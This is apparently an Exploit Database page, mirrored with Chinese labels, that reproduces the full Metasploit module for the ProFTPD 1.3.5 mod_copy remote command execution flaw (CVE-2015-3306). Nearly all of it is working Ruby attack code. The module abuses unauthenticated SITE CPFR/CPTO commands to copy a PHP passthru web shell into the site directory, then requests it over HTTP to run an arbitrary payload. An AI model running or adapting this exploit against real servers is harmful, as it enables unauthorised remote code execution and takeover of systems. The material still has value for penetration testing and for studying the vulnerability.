ProFTPd 1.3.5 – ‘mod_copy’ Command Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2015-06-10
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37262/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
  'Description'=> %q{
  This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
  Any unauthenticated client can leverage these commands to copy files from any
  part of the filesystem to a chosen destination. The copy commands are executed with
  the rights of the ProFTPD service, which by default runs under the privileges of the
  'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
  directory, PHP remote code execution is made possible.
  },
  'Author' =>
  [
  'Vadim Melihow', # Original discovery, Proof of Concept
  'xistence <xistence[at]0x90.nl>' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2015-3306' ],
  [ 'EDB', '36742' ]
  ],
  'Privileged' => false,
  'Platform' => [ 'unix' ],
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'BadChars' => '',
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic gawk bash python perl'
  }
  },
  'Targets'=>
  [
  [ 'ProFTPD 1.3.5', { } ]
  ],
  'DisclosureDate' => 'Apr 22 2015',
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptPort.new('RPORT', [true, 'HTTP port', 80]),
  OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
  OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
  OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
  OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
  ], self.class)
  end
  
  def check
  ftp_port = datastore['RPORT_FTP']
  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
  
  if sock.nil?
  fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
  else
  print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
  end
  
  res = sock.get_once(-1, 10)
  unless res && res.include?('220')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
  end
  
  sock.puts("SITE CPFR /etc/passwd\r\n")
  res = sock.get_once(-1, 10)
  if res && res.include?('350')
  Exploit::CheckCode::Vulnerable
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  ftp_port = datastore['RPORT_FTP']
  get_arg = rand_text_alphanumeric(5+rand(3))
  payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'
  
  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
  
  if sock.nil?
  fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
  else
  print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
  end
  
  res = sock.get_once(-1, 10)
  unless res && res.include?('220')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
  end
  
  print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
  
  sock.puts("SITE CPFR /proc/self/cmdline\r\n")
  res = sock.get_once(-1, 10)
  unless res && res.include?('350')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
  end
  
  sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
  res = sock.get_once(-1, 10)
  unless res && res.include?('250')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
  end
  
  sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
  res = sock.get_once(-1, 10)
  unless res && res.include?('350')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
  end
  
  sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
  res = sock.get_once(-1, 10)
  unless res && res.include?('250')
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
  end
  
  sock.close
  
  print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")
  res = send_request_cgi!(
  'uri' => normalize_uri(target_uri.path, payload_name),
  'method' => 'GET',
  'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
  )
  
  unless res && res.code == 200
  fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
  end
  end
  
  end